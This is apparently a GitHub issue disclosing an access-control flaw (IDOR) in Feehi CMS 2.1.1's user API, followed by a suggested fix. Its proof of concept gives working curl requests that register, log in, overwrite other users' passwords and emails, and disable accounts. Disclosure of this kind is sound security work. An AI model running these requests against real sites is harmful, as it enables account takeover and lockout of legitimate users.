Skip to content

Feehi CMS 2.1.1 - API UserController IDOR allows full account takeover #90

Description

@byname66

Vulnerability : broken-access-control / IDOR
Endpoint : PUT /api/users/{id}, PUT /api/v1/users/{id}

Description

Any authenticated user can modify other users' profiles and passwords via PUT requests without authorization checks, leading to full account takeover

Impact

An attacker with any valid token can change another user's password and email, then log in as that user — achieving full account takeover. v1 API is equally affected.

Proof of Concept

First, register a user:

curl -s -H 'Accept: application/json' -H 'Content-Type: application/json' http://localhost:18080/api/register -X POST -d '{"username":"pentestuser","password":"Test12345","repassword":"Test12345","email":"pentest@test.com"}'

image-20260529141517414

Then call the login endpoint to obtain an accessToken (this is only a regular user privilege):

curl -s -H 'Accept: application/json' -H 'Content-Type: application/json' http://localhost:18080/api/login -X POST -d '{"username":"pentestuser","password":"Test12345"}'

image-20260529141624592

Using this regular-user accessToken, call the following endpoints:

1. PUT /api/users/1 — modify another user's profile (unauthorized)

curl -s -H 'Accept: application/json' -H 'Authorization: Bearer MjeJ0UZhvmfmzyRMMQ8FEnZ8IhTgcLwZ1780035287' -H 'Content-Type: application/json' http://localhost:18080/api/users/1 -X PUT -d '{"username":"hijacked_user","email":"hijacked@test.com"}'

User 1's username changed from testuser99 to hijacked_user, email changed — unauthorized modification successful.

image-20260529142253233

2. PUT /api/users/2 — change another user's password

curl -s -H 'Accept: application/json' -H 'Authorization: Bearer MjeJ0UZhvmfmzyRMMQ8FEnZ8IhTgcLwZ1780035287' -H 'Content-Type: application/json' http://localhost:18080/api/users/2 -X PUT -d '{"password":"Pwned456","repassword":"Pwned456","email":"pwned@test.com"}'

User 2's email changed to pwned@test.com, updated_at refreshed.

image-20260529142332506

3. Verify account takeover — log in with the new password

curl -s -H 'Accept: application/json' -H 'Content-Type: application/json' http://localhost:18080/api/login -X POST -d '{"username":"testuser123","password":"Pwned456"}'

Returns accessToken, confirming full account takeover.

image-20260529142735995

4. Disable any user by setting status=0

curl -s -H 'Accept: application/json' -H 'Authorization: Bearer MjeJ0UZhvmfmzyRMMQ8FEnZ8IhTgcLwZ1780035287' -H 'Content-Type: application/json' http://localhost:18080/api/users/{id} -X PUT -d '{"status":0}'

Target user is disabled and can no longer log in.

image-20260529142856817

Mitigation

Override the behaviors() method in UserController to add role-based access control for PUT actions. Users should only be allowed to modify their own profile; password changes should require verification of the old password

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions